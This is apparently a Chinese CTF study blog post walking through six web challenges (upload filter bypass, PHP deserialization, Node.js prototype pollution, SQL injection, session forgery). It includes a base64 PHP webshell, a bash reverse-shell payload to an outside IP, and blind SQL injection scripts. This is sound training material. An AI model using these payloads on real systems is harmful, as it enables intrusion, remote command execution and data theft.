刷题(第三周)
目录
[CISCN2021 Quals]upload
[羊城杯 2020]EasySer
[网鼎杯 2020 青龙组]notes
[SWPU2019]Web4
[Black Watch 入群题]Web
[HFCTF2020]BabyUpload
[CISCN2021 Quals]upload
打开界面以后,发现直接给出了源码
<?php
if (!isset($_GET["ctf"])) {highlight_file(__FILE__);die();
}if(isset($_GET["ctf"]))$ctf = $_GET["ctf"];if($ctf=="upload") {if ($_FILES['postedFile']['size'] > 1024*512) {die("这么大个的东西你是想d我吗?");}$imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);if ($imageinfo === FALSE) {die("如果不能好好传图片的话就还是不要来打扰我了");}if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {die("东西不能方方正正的话就很讨厌"); //宽度高度像素值要为1}$fileName=urldecode($_FILES['postedFile']['name']);//检测内容的 不能含有 c i h phif(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {die("有些东西让你传上去的话那可不得了");}$imagePath = "image/" . mb_strtolower($fileName);if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {echo "upload success, image at $imagePath";} else {die("传都没有传上去");}
}
1、肯定是上传一个伪装的图片
2、并且宽高各为1
3、这时候考虑内容会不会是那种base64加密,然后解密具体未知
4、他是通过什么上传呢,我们可以想一下,我感觉是通过网页。html进行上传
5、我们如何往里面写入shell呢
首先我们提出了问题,感觉这样做题才会动动脑子,下面来解决问题
2.这里我们完全可以用 #define width /height 1来控制
3.这里是我理解错了以为是内容但是,urldecode($_FILES['postedFile']['name']);,是获得传参的名字,先通过url解码在判断所以二次编码也不行,禁用了c i h ph,这不相当于禁用了user.ini htaccess php🐕狠的。
5.这里首先想到的就是图片码
但是后缀名都没了咋利用呢:
扫目录发现了一个example.php,然后我们打开看一下源码
<?php
if (!isset($_GET["ctf"])) {highlight_file(__FILE__);die();
}if(isset($_GET["ctf"]))$ctf = $_GET["ctf"];if($ctf=="poc") {//这里需要为poc$zip = new \ZipArchive();$name_for_zip = "example/" . $_POST["file"];
//这里是zip的位置,file是我们输入的if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {#文件类型不等于zipdie("要不咱们再看看?");}if ($zip->open($name_for_zip) !== TRUE) {die ("都不能解压呢");}echo "可以解压,我想想存哪里";$pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);$zip->extractTo($pos_for_zip);#解压缩文件$zip->close();unlink($name_for_zip);$files = glob("$pos_for_zip/*");#寻找匹配的路径foreach($files as $file){if (is_dir($file)) {#判断给定文件名是否是一个目录continue;}$first = imagecreatefrompng($file);#由文件或 URL 创建一个新图象。$size = min(imagesx($first), imagesy($first));#找出长或宽的最小值$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);#裁剪图像按指定的格式if ($second !== FALSE) {$final_name = pathinfo($file)["basename"];#返回文件路径的信息imagepng($second, 'example/'.$final_name);#以 PNG 格式将图像输出到浏览器或文件imagedestroy($second);#销毁一图像}imagedestroy($first);unlink($file);}}
但是zip,不是还是用到i了嘛,说明肯定有办法来代替,
可以利用一些unicode字符绕过。
<?php
var_dump(mb_strtolower('İ')==='i');
?>
结果为true
且前面还进行了url解密。所以可以用%c4%b0代替'İ'字符
捏,为啥报错呢,如果我有罪请让法律制裁我,而不是报错 qwq
[羊城杯 2020]EasySer
打开界面一个apache的数信通道,源码 session都看了个编,没信息,然后访问 robots.txt和www.zip,这两个比较常有。
继续访问 访问后查看源码,不安全的协议 http,因为https有加密,然后http://127.0.0.1/ser.php,这个为啥事本地呢,因为填别的就会报错所以推断 ssrf
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
}?> your hat is too black!
死亡绕过,构造比较简单就是
<?phpclass GWHT{public $hero;public function __construct(){$this->hero = new Yongen();}// public function __toString(){// }
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct() {$this -> file = "php://filter/write=convert.base64-decode/resource=ameuu.php";$this -> text = "aaaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=="; // eval($_POST['cmd']);}// public function hasaki(){// $d = '<?php die("nononon");';// $a= $d. $this->text;// @file_put_contents($this-> file,$a);// }
}
var_dump(urlencode(serialize(new GWHT())));?>
呃呃呃但是发现了一个尴尬的事情,界面没有传参接口如何传入序列化的数据呢,arjun直接扫描就会扫出来一个c,然后传参就可以了。
[网鼎杯 2020 青龙组]notes
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe'); //前面都是导入模块
const { exec } = require('child_process'); //看见这个重点,因为nodejs这个可以导致命令执行 var app = express();
class Notes {constructor() { //构造赋值操作this.owner = "whoknows";this.num = 0;this.note_list = {};}write_note(author, raw_note) {this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};}get_note(id) {//按照名字推测var r = {}undefsafe(r, id, undefsafe(this.note_list, id));return r;}edit_note(id, author, raw) { //修改noteundefsafe(this.note_list, id + '.author', author);undefsafe(this.note_list, id + '.raw_note', raw);}get_all_notes() {return this.note_list;}remove_note(id) {delete this.note_list[id];}
}var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));app.get('/', function(req, res, next) {res.render('index', { title: 'Notebook' });
});app.route('/add_note').get(function(req, res) {res.render('mess', {message: 'please use POST to add a note'});}).post(function(req, res) {let author = req.body.author;let raw = req.body.raw;if (author && raw) {notes.write_note(author, raw);res.render('mess', {message: "add note sucess"});} else {res.render('mess', {message: "did not add note"});}})app.route('/edit_note').get(function(req, res) {res.render('mess', {message: "please use POST to edit a note"});}).post(function(req, res) {let id = req.body.id;let author = req.body.author;let enote = req.body.raw;if (id && author && enote) {notes.edit_note(id, author, enote);res.render('mess', {message: "edit note sucess"});} else {res.render('mess', {message: "edit note failed"});}})app.route('/delete_note').get(function(req, res) {res.render('mess', {message: "please use POST to delete a note"});}).post(function(req, res) {let id = req.body.id;if (id) {notes.remove_note(id);res.render('mess', {message: "delete done"});} else {res.render('mess', {message: "delete failed"});}})app.route('/notes').get(function(req, res) {let q = req.query.q;let a_note;if (typeof(q) === "undefined") {a_note = notes.get_all_notes();} else {a_note = notes.get_note(q);}res.render('note', {list: a_note});})app.route('/status').get(function(req, res) {let commands = {"script-1": "uptime","script-2": "free -m"};for (let index in commands) {exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => { //这里非常的关键,因为exec可以导致命令执行,所以只需要command里面有危险函数就可以了if (err) {return;}console.log(`stdout: ${stdout}`);});}res.send('OK');res.end();})app.use(function(req, res, next) {res.status(404).send('Sorry cant find that!');
});app.use(function(err, req, res, next) {console.error(err.stack);res.status(500).send('Something broke!');
});const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
这个代码的出口找到了,就是/status路由,污染也确定了其实就是污染commands,但是以往的危险函数都是merge,却没有
先看一个前提条件:
a={"a":1,"b":2}
b={}
b.__proto__.c=333
for (let i in a){console.log(i)}
输出结果是a b c,原型链污染,而我们的目的就是让commands出现一个,commands.a=后面可以跟一个反弹shell
let commands = {"script-1": "uptime","script-2": "free -m"};
网上查到undefsafe也和merge类似,例子:
var a = require("undefsafe");
var b = {};
var c = {};
var payload = "__proto__.ddd";
a(b,payload,"JHU");
console.log(c.ddd);
这里输出为:JHU,因为找c.ddd找不到,就是找上一级 object.ddd,
在class Notes中:
edit_note(id, author, raw) { //修改note
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
这里运用了然后找到了一个路由正好调用他
app.route('/edit_note').get(function(req, res) {res.render('mess', {message: "please use POST to edit a note"});}).post(function(req, res) {let id = req.body.id;let author = req.body.author;let enote = req.body.raw;if (id && author && enote) {notes.edit_note(id, author, enote);res.render('mess', {message: "edit note sucess"});} else {res.render('mess', {message: "edit note failed"});}})
undefsage(b,__proto__.ddd,"JHU"); b就是个对象,然后格式这样
所以传入的id肯定是__proto__,this.note_list无所谓随便传就行,然后最后的author弄一个反弹shell就行了。
bash+-i+>&+/dev/tcp/44.93.248.44/7777+0>&1,因为命令中含有&所以需要url编码
id=__proto__&author=bash+-i+%3e%26+%2fdev%2ftcp%2f127.127.224.57%2f7777+0%3e%261&raw=aaa
[SWPU2019]Web4
打开界面就是一个登录框,但是点登陆没反应,点击注册也是功能尚未开发
burp抓包发现数据是json模式,这点看格式或者看type类型都可以看出来,
上次提到的'报错,“不报错说明存在堆叠注入,
但是尝试show databases这些都没任何的返回值,所以推测是用时间盲注来搞得,但是过滤的函数
我尝试了一下如果被过滤了就会返回,202,否则报错。
使用16进制+预编译手段绕过
import requests
import json
import timedef main():#题目地址url = '''http://dd10f5da-efa9-4241-8f27-c4a4256ecd61.node4.buuoj.cn:81/index.php?r=Login/Login'''#注入payloadpayloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"flag = ''for i in range(1,30):#查询payload#payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"#payload = "select if(ascii(substr((select database()),{0},1))={1},sleep(3),1)"payload = "select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctf'),{0},1))={1},sleep(3),1)"for j in range(0,128):#将构造好的payload进行16进制转码和json转码datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}#这里直接进行转变进制data = json.dumps(datas)times = time.time()res = requests.post(url = url, data = data)if time.time() - times >= 3:flag = flag + chr(j)print(flag)breakdef str_to_hex(s):return ''.join([hex(ord(c)).replace('0x', '') for c in s])if __name__ == '__main__':main()
首先一个一个文件看入口,在fun.php中
if(!empty($_REQUEST['r']))//传入参数r
{$r = explode('/', $_REQUEST['r']);//以/为间隔分开list($controller,$action) = $r;//把前两个当作键值,赋值给 controller action着两个键名$controller = "{$controller}Controller"; //比如我们传入的是 index/flag $controller=index $action=flag$action = "action{$action}";#就会变成了,indexController actionflagif(class_exists($controller)) //查看indexController是否存在{if(method_exists($controller,$action))//里面的方法是否存在{//}else{$action = "actionIndex"; //默认值是actionIndex}}else{$controller = "LoginController";$action = "actionIndex";}$data = call_user_func(array( (new $controller), $action)); //调用上面类中的方法
} else {header("Location:index.php?r=Login/Index");
所以我们现在需要找一个有用的,xxxController 中的 actionxxx
锁定了一下就这两个类符合条件,然后深入看一下
class UserController extends BaseController
{// 访问列表public function actionList(){$params = $_REQUEST;$userModel = new UserModel();$listData = $userModel->getPageList($params);$this->loadView('userList', $listData );}public function actionIndex(){$listData = $_REQUEST;$this->loadView('userIndex',$listData);}}
发现都是调用了loadView这个方法,进去 看一下
public function loadView($viewName ='', $viewData = []){$this->viewPath = BASE_PATH . "/View/{$viewName}.php";if(file_exists($this->viewPath)){extract($viewData);//况且这里还有一个变量覆盖include $this->viewPath; #感觉这里有些异常,如果我们最后调用这个就可以直接include包含flag了}}
漏洞方法无疑了,extract include,并且extrac中的参数是我们可控的,ViewPath的值为 /view/userIndex.php
if(!isset($img_file)) {$img_file = '/../favicon.ico';}$img_dir = dirname(__FILE__) . $img_file;$img_base64 = imgToBase64($img_dir);echo '<img src="' . $img_base64 . '">'; //图片形式展示?></div>
<?php
function imgToBase64($img_file) {$img_base64 = '';if (file_exists($img_file)) {$app_img_file = $img_file; // 图片路径$img_info = getimagesize($app_img_file); // 取得图片的大小,类型等$fp = fopen($app_img_file, "r"); // 图片是否可读权限if ($fp) {$filesize = filesize($app_img_file);$content = fread($fp, $filesize);$file_content = chunk_split(base64_encode($content)); // base64编码switch ($img_info[2]) { //判读图片类型case 1: $img_type = "gif";break;case 2: $img_type = "jpg";break;case 3: $img_type = "png";break;}$img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;//合成图片的base64编码}fclose($fp);}return $img_base64; //返回图片的base64
}
?>
其实就是读取传入文件的信息的base64编码,那么我们只要把$img_file = '/../favicon.ico';变成我们的flag不就可以了吗。
因为需要用Usercontroller中的actionIndex方法,所以这里需要换一下,然后flag的路径/../flag.php是参考
题中给出favicon.ico的路径,测试了一下
cd ../
cd /../不一样,这里如果有大佬解释一下为啥是/../如何推算就更好了。
入口是因为题目给出的url,
所以我们可以找一下r的位置所在的php然后一步步分析或者从include这些危险函数进行分析。
[Black Watch 入群题]Web
打开界面第一眼啥玩意,信息收集看看有什么有用的信息
结果发现啥都没有,目录扫不出来,最后在查看network的时候发现了异样
发现这竟然有一个隐藏的php文件,很明显id=1 id=2 id=3的界面显示的值也不一样,数字型注入,
盲注
import json
import timeimport requests
payload2="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='news')),{},1))>{})^1"
#表名为admin contents
payload1 = '1^(ascii(substr((select(database())),{},1))>{})^1' # 库名为news
payload3="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{},1))>{})^1"
#id,username,password,is_enable
payload4="1^(ascii(substr((select(group_concat(username))from(admin)),{},1))>{})^1"#b496c811,04a5e847
#29f2a65f,c09e6137
url="http://64ab2e66-9512-4790-a171-dfad21f8c5b8.node4.buuoj.cn:81/backend/content_detail.php?id="flag=''for i in range(1,1000):low=28high=137mid=(low+high)//2while low<high:payload=url+payload4.format(i,mid)res=requests.get(payload)time.sleep(0.2)if "札师傅缺个女朋友" in str(res.json()):low=mid+1else:high=midmid=(low+high)//2if(chr(mid)==''):breakflag=flag+chr(mid)print(flag)
print(flag)
总结:这个脚本不是特别的难,但是我调试的过程中报错挺多的,
首先请求太快,可以加个time.sleep(0.2)就可以
但是里面最好别用相同的变量名字,比如 payload=requests.get(payload) 这种
最好都用单引号 如果重了 用\转义 即可
str(res.json()): 这是因为
返回的数据是json格式的,所以需要返回正常的字符串进行if判断。
本来以为是登陆时注入,搞了好久 wtcl
[HFCTF2020]BabyUpload
打开文件妥妥全部都是代码只能一部分一部分分析
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{$filename='/var/babyctf/success.txt';if(file_exists($filename)){safe_delete($filename);die($flag);}
}
else{$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){try{if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){throw new RuntimeException('invalid upload');}$file_path = $dir_path."/".$_FILES['up_file']['name'];$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){throw new RuntimeException('invalid file path');}@mkdir($dir_path, 0700, TRUE);if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){$upload_result = "uploaded";}else{throw new RuntimeException('error while saving');}} catch (RuntimeException $e) {$upload_result = $e->getMessage();}
} elseif ($direction === "download") {try{$filename = basename(filter_input(INPUT_POST, 'filename'));$file_path = $dir_path."/".$filename;if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){throw new RuntimeException('invalid file path');}if(!file_exists($file_path)) {throw new RuntimeException('file not exist');}header('Content-Type: application/force-download');header('Content-Length: '.filesize($file_path));header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');if(readfile($file_path)){$download_result = "downloaded";}else{throw new RuntimeException('error while saving');}} catch (RuntimeException $e) {$download_result = $e->getMessage();}exit;
}
?>
呃呃分析过了我懒了,
直接给思路:
$_SESSION['username'] ==='admin'
$filename='/var/babyctf/success.txt';
满足以上两个条件就可以获得flag,
大略将一下流程,通过direction=upload进行文件上传,这里的上传路径为/var/babyctf/$attr/$username/文件名_hash(文件名),这里是最后保存的路径
direction=download,进行文件下载的功能,$file_path = $dir_path."/".$filename;,所以我们只要找到上传的文件名_加密就可以直接下载文件 ,session文件默认保存在sess_文件名,我们可以看一下
因为session的加载器有三种
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
第一种,php类型生成的session文件为: ykingh|s:3:"123";
第二种,php_binary类型生成的session文件为:ykinghs:3:"123";
第三种,php_serialize类型生成的session文件为:a:1:{s:6:"ykingh";s:3:"123";}
很容易看出来是 php_binary格式的,
<?php
//ini_set('session_seralize_handler','php_binary');
//session_save_path('D:\phpstudy_pro\Extensions\serialize');
//session_start();
//
//$_SESSION['username']='admin';
echo hash_file('sha256','D:\phpstudy_pro\Extensions\serialize\sess');
直接生成,这里需要改一下php.ini的
,然后修改名称为sess比较方便,生成sha256编码,先上传sess
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://610e53eb-1852-407b-9432-78d8749b9f5b.node4.buuoj.cn:81/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="up_file" id="up_file"><br><!--name要根据题目的源码来调节--><input type="submit" name="submit" value="提交"><input type="text" name="direction" value="upload"/><br> <input type="text" name="attr" value="" /><br>
</form>
</body>
</html>
然后download试一下是否上传成功,
sess_根我们生成的sha256编码,上传进去了,还差那个文件是否存在,发现upload有mkdir(里面的就是/var/babyctf/$attr)这里的attr我们可以控制,目录!我们可以利用att参数创建一个success.txt文件夹,然后将sess传入success目录下,因为后面有个mkdir获取的还是我们的session文件的值,但是这个文件判断是在babyctf目录下!
简单来说,file_exits,如果是文件目录都可以为true,文件上传保存在/var/babyctf/$attr/$username/文件名,如果attr=success.txt,那么sess就保存在它里面,最后更改phpsessID为我们上传的sha256的值。
反思:确实没见过通过,上传一个session来更改进行伪造的题,涨知识了。 、
参考链接:[HFCTF2020]BabyUpload session解析引擎_-栀蓝-的博客-CSDN博客
相关文章:

刷题(第三周)
目录 [CISCN2021 Quals]upload [羊城杯 2020]EasySer [网鼎杯 2020 青龙组]notes [SWPU2019]Web4 [Black Watch 入群题]Web [HFCTF2020]BabyUpload [CISCN2021 Quals]upload 打开界面以后,发现直接给出了源码 <?php if (!isset($_GET["ctf"]))…...

新C++(14):移动语义与右值引用
当你在学习语言的时候,是否经常听到过一种说法,""左边的叫做左值,""右边的叫做右值。这句话对吗?从某种意义上来说,这句话只是说对了一部分。---前言一、什么是左右值?通常认为:左值是一个表示数据的表达式(…...

TCP相关概念
目录 一.滑动窗口 1.1概念 1.2滑动窗口存在的意义 1.3 滑动窗口的大小变化 1.4丢包问题 二.拥塞控制 三.延迟应答 四.捎带应答 五.面向字节流 六.粘包问题 七.TIME_WAIT状态 八.listen第2个参数 九.TCP总结 一.滑动窗口 1.1概念 概念:双方在进行通信时&a…...

MySQL锁篇
MySQL锁篇 一、一条update语句 我们的故事继续发展,我们还是使用t这个表: CREATE TABLE t (id INT PRIMARY KEY,c VARCHAR(100) ) EngineInnoDB CHARSETutf8;现在表里的数据就是这样的: mysql> SELECT * FROM t; —------- | id | c | —…...

SWF (Simple Workflow Service)简介
Amazon Simple Workflow Service (Amazon SWF) 提供了给应用程序异步、分布式处理的流程工具。 SWF可以用在媒体处理、网站应用程序后端、商业流程、数据分析和一系列定义好的任务上。 举个例子,下图表明了一个电商网站的工作流程,其中涉及了程序执行的…...

java(Class 常用方法 获取Class对象六种方式 动态和静态加载 类加载流程)
ClassClass常用方法获取Class对象六种方式哪些类型有Class对象动态和静态加载类加载流程加载阶段连接阶段连接阶段-验证连接阶段-准备连接阶段-解析初始化阶段获取类结构信息Class常用方法 第一步:创建一个实体类 public class Car {public String brand "宝…...

【数据结构】线性表和顺序表
Yan-英杰的主页 悟已往之不谏 知来者之可追 目录 1.线性表 2.顺序表 2.1 静态顺序表 2.2 动态顺序表 2.3移除元素 1.线性表 线性表(linear list)是n个具有相同特性的数据元素的有限序列。 线性表是一种在实际中广泛使用的数据结构,常见的线…...
Ubuntu数据库安装(mysql)
##1.下载mysql-apt-config_0.8.22-1_all.deb并且安装 wget https://dev.mysql.com/get/mysql-apt-config_0.8.22-1_all.deb sudo dpkg -i mysql-apt-config_0.8.22-1_all.deb##2.更新apt-updata sudo apt update##3.如果出现如下图情况执行以下命令 [外链图片转存失败,源站可…...

MyBatis-Plus的入门学习
MyBatis-Plus入门学习简介特性快速开始MyBatis-Plus的注解详解Tableld主键生成策略1、数据库自动增长 AUTO2、UUID3、Redis生成id4、MP主键自动生成TableNameTableField自动填充测试方法:update乐观锁select查所有根据id查多个id批量查询简单条件查询(通…...
华为OD机试题 - 内存池(JavaScript)
更多题库,搜索引擎搜 梦想橡皮擦华为OD 👑👑👑 更多华为OD题库,搜 梦想橡皮擦 华为OD 👑👑👑 更多华为机考题库,搜 梦想橡皮擦华为OD 👑👑👑 华为OD机试题 最近更新的博客使用说明本篇题解:内存池题目输入输出示例一输入输出说明Code解题思路版权说明华为…...

数据库索引原理
数据库索引的作用是做数据的快速检索,而快速检索实现的本质是数据结构。像二叉树、红黑树、AVL树、B树、B树、哈希等数据结构都可以实现索引,但其中B树效率最高。MySQL数据库索引使用的是B树。二叉树:二叉树中,左子树比根节点小&a…...

字符函数和字符串函数详解(1)
目录前言strlen函数strlensizeofstrcpy函数strcat函数strcmp函数总结前言 最近要调整状态,写的文章质量不佳让大家失望,我现在也在反思我在做什么,我会什么,我学了什么。等我想明白的那天,我一定能跟大家顶峰相见的&a…...

【数据分析:工具篇】NumPy(1)NumPy介绍
【数据分析:工具篇】NumPy(1)NumPy介绍NumPy介绍NumPy的特点数组的基本操作创建数组索引和切片数组运算NumPy介绍 NumPy(Numerical Python)是Python的一个开源的科学计算库,它主要用于处理大规模的多维数组…...

mysql时区问题
设置mysql容器时间与服务器时间一致 问题背景: 今天测试发现一个问题,时间不一致,当工单入库时,其创建时间和更新时间应该是一样的,即使不一样最多只会错几秒的时间;实际上两个时间相差的大概8小时&#…...

磨金石教育摄影技能干货分享|高邮湖上观花海
江苏高邮,说到这里所有人能想到的,就是那烟波浩渺的高邮湖。高邮在旅游方面并不出名,但是这里的自然人文景观绝对不输于其他地方。高邮不止有浩瀚的湖泊,春天的油菜花海同样壮观。春日的午后,与家人相约游玩࿰…...

mysql navicat忘记密码
mysql忘记密码是常用的事情,那么如何解决它呢?1、首先将MySQL的服务关闭,两种方法:(1)打开命令行cmd输入net stop mysql命令即可关闭MySQL服务。(2)打开任务管理器,找到服…...

Git的下载、安装、配置、使用、卸载
前言 我是跟着狂神老师学的。该博客仅用于笔记所用。 下面是老师的B站和笔记 B站:https://www.bilibili.com/video/BV1FE411P7B3?p1&vd_source9266cf72b1f398b63abe0aefe358d7d6 笔记:https://mp.weixin.qq.com/s/Bf7uVhGiu47uOELjmC5uXQ 一、准备工…...

【博客631】监控网卡与进程网络IO使用情况
监控进程的网络IO使用情况 1、vnstat 由于 vnstat 依赖于内核提供的信息,因此执行以下命令来验证内核是否提供了 vnStat 所期望的所有信息: # vnstat --testkernel This test will take about 60 seconds. Everything is ok.不带任何参数的 vnstat 将…...

【Leetcode】【简单】35. 搜索插入位置
给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 示例 1: 输入: nums [1,3,5,6], target 5 输出: 2 示例 2: 输入:…...
sql面试题
mysql优化 优化准则: 建表时:合理选择字段的类型,单表字段数量 sql查询尽量单表操作,避免复杂操作,复杂的多表通过java代码实现 构建复合索引优化,索引尽量可以覆盖主要业务查询 sql避免索引失效 避免大…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中,时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志,到供应链系统的物流节点时间戳,时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库,其日期时间类型的…...

React第五十七节 Router中RouterProvider使用详解及注意事项
前言 在 React Router v6.4 中,RouterProvider 是一个核心组件,用于提供基于数据路由(data routers)的新型路由方案。 它替代了传统的 <BrowserRouter>,支持更强大的数据加载和操作功能(如 loader 和…...

相机从app启动流程
一、流程框架图 二、具体流程分析 1、得到cameralist和对应的静态信息 目录如下: 重点代码分析: 启动相机前,先要通过getCameraIdList获取camera的个数以及id,然后可以通过getCameraCharacteristics获取对应id camera的capabilities(静态信息)进行一些openCamera前的…...
工业自动化时代的精准装配革新:迁移科技3D视觉系统如何重塑机器人定位装配
AI3D视觉的工业赋能者 迁移科技成立于2017年,作为行业领先的3D工业相机及视觉系统供应商,累计完成数亿元融资。其核心技术覆盖硬件设计、算法优化及软件集成,通过稳定、易用、高回报的AI3D视觉系统,为汽车、新能源、金属制造等行…...

莫兰迪高级灰总结计划简约商务通用PPT模版
莫兰迪高级灰总结计划简约商务通用PPT模版,莫兰迪调色板清新简约工作汇报PPT模版,莫兰迪时尚风极简设计PPT模版,大学生毕业论文答辩PPT模版,莫兰迪配色总结计划简约商务通用PPT模版,莫兰迪商务汇报PPT模版,…...

关于easyexcel动态下拉选问题处理
前些日子突然碰到一个问题,说是客户的导入文件模版想支持部分导入内容的下拉选,于是我就找了easyexcel官网寻找解决方案,并没有找到合适的方案,没办法只能自己动手并分享出来,针对Java生成Excel下拉菜单时因选项过多导…...
安卓基础(Java 和 Gradle 版本)
1. 设置项目的 JDK 版本 方法1:通过 Project Structure File → Project Structure... (或按 CtrlAltShiftS) 左侧选择 SDK Location 在 Gradle Settings 部分,设置 Gradle JDK 方法2:通过 Settings File → Settings... (或 CtrlAltS)…...

实战三:开发网页端界面完成黑白视频转为彩色视频
一、需求描述 设计一个简单的视频上色应用,用户可以通过网页界面上传黑白视频,系统会自动将其转换为彩色视频。整个过程对用户来说非常简单直观,不需要了解技术细节。 效果图 二、实现思路 总体思路: 用户通过Gradio界面上…...

【Linux】Linux安装并配置RabbitMQ
目录 1. 安装 Erlang 2. 安装 RabbitMQ 2.1.添加 RabbitMQ 仓库 2.2.安装 RabbitMQ 3.配置 3.1.启动和管理服务 4. 访问管理界面 5.安装问题 6.修改密码 7.修改端口 7.1.找到文件 7.2.修改文件 1. 安装 Erlang 由于 RabbitMQ 是用 Erlang 编写的,需要先安…...
人工智能 - 在Dify、Coze、n8n、FastGPT和RAGFlow之间做出技术选型
在Dify、Coze、n8n、FastGPT和RAGFlow之间做出技术选型。这些平台各有侧重,适用场景差异显著。下面我将从核心功能定位、典型应用场景、真实体验痛点、选型决策关键点进行拆解,并提供具体场景下的推荐方案。 一、核心功能定位速览 平台核心定位技术栈亮…...